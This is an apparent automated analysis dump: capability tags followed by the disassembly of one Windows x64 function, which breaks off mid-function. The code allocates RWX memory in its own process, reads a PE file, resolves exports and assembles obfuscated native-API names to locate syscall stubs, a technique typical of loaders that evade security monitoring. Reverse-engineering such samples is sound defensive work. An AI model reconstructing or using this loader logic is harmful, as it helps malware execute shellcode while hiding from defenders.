Function at 0x1400033e1
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x3000
call fcn.140014480
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.1400134d0
call fcn.140001617
mov dword [rbp + 0x7c], 0
mov qword [rbp + 0x70], 0
mov rax, qword [0x140186000]
mov qword [rbp + 0x60], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x2f68], eax
mov eax, dword [rbp + 0x2f68]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x2f60], rax
mov rax, qword [rbp + 0x2f60]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x2f58], rax
mov rax, qword [rbp + 0x2f58]
add rax, 0x17
mov qword [rbp + 0x2f50], rax
mov rax, qword [rbp + 0x2f50]
add rax, 0x17
mov qword [rbp + 0x2f48], rax
mov rax, qword [rbp + 0x2f48]
add rax, 0x17
mov qword [rbp + 0x2f40], rax
mov rax, qword [rbp + 0x2f40]
add rax, 0x17
mov qword [rbp + 0x2f38], rax
mov rax, qword [rbp + 0x2f38]
add rax, 0x17
mov qword [rbp + 0x2f30], rax
mov rax, qword [rbp + 0x2f30]
add rax, 0x17
mov qword [rbp + 0x2f28], rax
mov rax, qword [rbp + 0x2f28]
add rax, 0x17
mov qword [rbp + 0x2f20], rax
mov rax, qword [rbp + 0x2f20]
add rax, 0x17
mov qword [rbp + 0x2f18], rax
mov rax, qword [rbp + 0x2f18]
add rax, 0x17
mov qword [rbp + 0x2f10], rax
mov rax, qword [rbp + 0x2f10]
add rax, 0x17
mov qword [rbp + 0x2f08], rax
mov rax, qword [rbp + 0x2f08]
add rax, 0x17
mov qword [rbp + 0x2f00], rax
mov rax, qword [rbp + 0x2f00]
add rax, 0x17
mov qword [rbp + 0x2ef8], rax
mov rax, qword [rbp + 0x2ef8]
add rax, 0x17
mov qword [rbp + 0x2ef0], rax
mov rax, qword [rbp + 0x2ef0]
add rax, 0x17
mov qword [rbp + 0x2ee8], rax
mov rax, qword [rbp + 0x2ee8]
add rax, 0x17
mov qword [rbp + 0x2ee0], rax
mov rax, qword [rbp + 0x2ee0]
add rax, 0x17
mov qword [rbp + 0x2ed8], rax
mov rax, qword [rbp + 0x2ed8]
add rax, 0x17
mov qword [rbp + 0x2ed0], rax
mov dword [rbp + 0x5c], 0
mov qword [rbp + 0x2ec8], 0
mov dword [rbp + 0x2ec4], 0
mov dword [rbp + 0x58], 0
mov qword [rbp + 0x2eb8], 0
mov rax, qword [rbp + 0x2f58]
mov qword [0x1401b5038], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f58]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f50]
mov qword [0x1401b5040], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f50]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f48]
mov qword [0x1401b5048], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f48]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f40]
mov qword [0x1401b5050], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f40]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f38]
mov qword [0x1401b5058], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f38]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f30]
mov qword [0x1401b5060], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f30]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f28]
mov qword [0x1401b5068], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f28]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f20]
mov qword [0x1401b5070], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f20]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f18]
mov qword [0x1401b5078], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f18]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f10]
mov qword [0x1401b5080], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f10]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f08]
mov qword [0x1401b5088], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f08]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f00]
mov qword [0x1401b5090], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f00]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ef8]
mov qword [0x1401b5098], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2ef8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ef0]
mov qword [0x1401b50a0], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2ef0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ee8]
mov qword [0x1401b50a8], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2ee8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ee0]
mov qword [0x1401b50b0], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2ee0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ed8]
mov qword [0x1401b50b8], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2ed8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ed0]
mov qword [0x1401b50c0], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2ed0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, [0x140189371]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x2ec8], rax
mov rax, qword [rbp + 0x2ec8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x2ec4], eax
mov esi, dword [rbp + 0x2ec4]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rsi
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x2eb8], rax
lea r8, [rbp + 0x58]
mov ecx, dword [rbp + 0x2ec4]
mov rdx, qword [rbp + 0x2eb8]
mov rax, qword [rbp + 0x2ec8]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x2eb8]
mov qword [rbp + 0x2eb0], rax
mov rax, qword [rbp + 0x2eb0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2eb8]
add rax, rdx
mov qword [rbp + 0x2ea8], rax
mov rax, qword [rbp + 0x2ea8]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x2ea4], eax
mov rax, qword [rbp + 0x2ea8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x2ea8]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x2f78], rax
mov rax, qword [rbp + 0x2f78]
mov qword [rbp + 0x2e98], rax
mov rax, qword [rbp + 0x2f78]
mov qword [rbp + 0x2f70], rax
mov dword [rbp + 0x2f6c], 0
jmp 0x140003afa
mov rax, qword [rbp + 0x2f78]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140003aeb
mov rax, qword [rbp + 0x2f78]
mov qword [rbp + 0x2f70], rax
jmp 0x140003b10
add qword [rbp + 0x2f78], 0x28
add dword [rbp + 0x2f6c], 1
mov rax, qword [rbp + 0x2ea8]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x2f6c], eax
jl 0x140003ac1
mov edx, dword [rbp + 0x2ea4]
mov rax, qword [rbp + 0x2eb8]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x2f70]
mov rdx, rax
call fcn.1400014b0
mov qword [rbp + 0x2e90], rax
lea rax, [rbp + 0x34f]
mov rcx, rax
call fcn.140071db0
lea rdx, [rbp + 0x34f]
lea rax, [rbp + 0x320]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9710
lea rax, [rbp + 0x300]
lea rdx, [rbp + 0x320]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2e0]
lea rdx, [rbp + 0x300]
lea r8, [0x14018939a]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2c0]
lea rdx, [rbp + 0x2e0]
lea r8, [0x14018939c]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2a0]
lea rdx, [rbp + 0x2c0]
lea r8, [0x14018939c]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x280]
lea rdx, [rbp + 0x2a0]
lea r8, [0x14018939e]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x260]
lea rdx, [rbp + 0x280]
lea r8, [0x1401893a0]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x240]
lea rdx, [rbp + 0x260]
lea r8, [0x1401893a2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x220]
lea rdx, [rbp + 0x240]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x200]
lea rdx, [rbp + 0x220]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1e0]
lea rdx, [rbp + 0x200]
lea r8, [0x1401893a6]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1c0]
lea rdx, [rbp + 0x1e0]
lea r8, [0x1401893a8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1a0]
lea rdx, [rbp + 0x1c0]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x180]
lea rdx, [rbp + 0x1a0]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x160]
lea rdx, [rbp + 0x180]
lea r8, [0x1401893ac]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0x160]
lea r8, [0x1401893a2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x120]
lea rdx, [rbp + 0x140]
lea r8, [0x14018939c]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x100]
lea rdx, [rbp + 0x120]
lea r8, [0x1401893ae]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xe0]
lea rdx, [rbp + 0x100]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xc0]
lea rdx, [rbp + 0xe0]
lea r8, [0x1401893b0]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xa0]
lea rdx, [rbp + 0xc0]
lea r8, [0x14018939e]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x80]
lea rdx, [rbp + 0xa0]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x30]
lea rdx, [rbp + 0x80]
lea r8, [0x1401893b2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x80]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xa0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xe0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x120]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x140]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x160]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x180]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1e0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x200]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x220]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x240]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x260]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x280]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2a0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2c0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2e0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x300]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x320]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x34f]
mov rcx, rax
call fcn.140071de0
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x350]
mov rcx, rax
call fcn.1400a9280
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x350]
mov rcx, qword [rbp + 0x2f58]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x350]
mov rcx, rax
call fcn.1400a9e30
cmp dword [rbp + 0x2e8c], 0
je 0x140003fb0
lea rsi, [0x1401893b4]
jmp 0x140003fb7
lea rsi, [0x1401893b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f5b0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x5ff]
mov rcx, rax
call fcn.140071db0
lea rdx, [rbp + 0x5ff]
lea rax, [rbp + 0x5d0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9710
lea rax, [rbp + 0x5b0]
lea rdx, [rbp + 0x5d0]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x590]
lea rdx, [rbp + 0x5b0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x570]
lea rdx, [rbp + 0x590]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x550]
lea rdx, [rbp + 0x570]
lea r8, [0x1401893a8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x530]
lea rdx, [rbp + 0x550]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x510]
lea rdx, [rbp + 0x530]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x4f0]
lea rdx, [rbp + 0x510]
lea r8, [0x1401893a6]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x4d0]
lea rdx, [rbp + 0x4f0]
lea r8, [0x1401893a8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x4b0]
lea rdx, [rbp + 0x4d0]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x490]
lea rdx, [rbp + 0x4b0]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x470]
lea rdx, [rbp + 0x490]
lea r8, [0x1401893ac]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x450]
lea rdx, [rbp + 0x470]
lea r8, [0x1401893a2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x430]
lea rdx, [rbp + 0x450]
lea r8, [0x14018939c]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x410]
lea rdx, [rbp + 0x430]
lea r8, [0x1401893ae]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x3f0]
lea rdx, [rbp + 0x410]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x3d0]
lea rdx, [rbp + 0x3f0]
lea r8, [0x1401893b0]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x3b0]
lea rdx, [rbp + 0x3d0]
lea r8, [0x14018939e]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x390]
lea rdx, [rbp + 0x3b0]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x370]
lea rdx, [rbp + 0x390]
lea r8, [0x1401893b2]
mov rcx, rax
call fcn.1400ba290
lea rdx, [rbp + 0x370]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9e70
lea rax, [rbp + 0x370]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x390]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x3b0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x3d0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x3f0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x410]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x430]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x450]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x470]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x490]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x4b0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x4d0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x4f0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x510]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x530]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x550]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x570]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x590]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x5b0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x5d0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x5ff]
mov rcx, rax
call fcn.140071de0
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x600]
mov rcx, rax
call fcn.1400a9280
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x600]
mov rcx, qword [rbp + 0x2f50]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x600]
mov rcx, rax
call fcn.1400a9e30
cmp dword [rbp + 0x2e8c], 0
je 0x1400043f2
lea rsi, [0x1401893b4]
jmp 0x1400043f9
lea rsi, [0x1401893b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f5b0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x8ef]
mov rcx, rax
call fcn.140071db0
lea rdx, [rbp + 0x8ef]
lea rax, [rbp + 0x8c0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9710
lea rax, [rbp + 0x8a0]
lea rdx, [rbp + 0x8c0]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x880]
lea rdx, [rbp + 0x8a0]
lea r8, [0x1401893d4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x860]
lea rdx, [rbp + 0x880]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x840]
lea rdx, [rbp + 0x860]
lea r8, [0x14018939e]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x820]
lea rdx, [rbp + 0x840]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x800]
lea rdx, [rbp + 0x820]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x7e0]
lea rdx, [rbp + 0x800]
lea r8, [0x1401893a0]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x7c0]
lea rdx, [rbp + 0x7e0]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x7a0]
lea rdx, [rbp + 0x7c0]
lea r8, [0x1401893a6]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x780]
lea rdx, [rbp + 0x7a0]
lea r8, [0x1401893a8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x760]
lea rdx, [rbp + 0x780]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x740]
lea rdx, [rbp + 0x760]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x720]
lea rdx, [rbp + 0x740]
lea r8, [0x1401893ac]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x700]
lea rdx, [rbp + 0x720]
lea r8, [0x1401893a2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x6e0]
lea rdx, [rbp + 0x700]
lea r8, [0x14018939c]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x6c0]
lea rdx, [rbp + 0x6e0]
lea r8, [0x1401893ae]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x6a0]
lea rdx, [rbp + 0x6c0]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x680]
lea rdx, [rbp + 0x6a0]
lea r8, [0x1401893b0]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x660]
lea rdx, [rbp + 0x680]
lea r8, [0x14018939e]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x640]
lea rdx, [rbp + 0x660]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x620]
lea rdx, [rbp + 0x640]
lea r8, [0x1401893b2]
mov rcx, rax
call fcn.1400ba290
lea rdx, [rbp + 0x620]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9e70
lea rax, [rbp + 0x620]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x640]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x660]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x680]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x6a0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x6c0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x6e0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x700]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x720]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x740]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x760]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x780]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x7a0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x7c0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x7e0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x800]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x820]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x840]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x860]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x880]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x8a0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x8c0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x8ef]
mov rcx, rax
call fcn.140071de0
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x8f0]
mov rcx, rax
call fcn.1400a9280
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x8f0]
mov rcx, qword [rbp + 0x2f48]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x8f0]
mov rcx, rax
call fcn.1400a9e30
cmp dword [rbp + 0x2e8c], 0
je 0x14000488c
lea rsi, [0x1401893b4]
jmp 0x140004893
lea rsi, [0x1401893b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f5b0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0xb1f]
mov rcx, rax
call fcn.140071db0
lea rdx, [rbp + 0xb1f]
lea rax, [rbp + 0xaf0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9710
lea rax, [rbp + 0xad0]
lea rdx, [rbp + 0xaf0]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xab0]
lea rdx, [rbp + 0xad0]
lea r8, [0x1401893d6]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xa90]
lea rdx, [rbp + 0xab0]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xa70]
lea rdx, [rbp + 0xa90]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xa50]
lea rdx, [rbp + 0xa70]
lea r8, [0x1401893a2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xa30]
lea rdx, [rbp + 0xa50]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xa10]
lea rdx, [rbp + 0xa30]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x9f0]
lea rdx, [rbp + 0xa10]
lea r8, [0x1401893d8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x9d0]
lea rdx, [rbp + 0x9f0]
lea r8, [0x1401893da]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x9b0]
lea rdx, [rbp + 0x9d0]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x990]
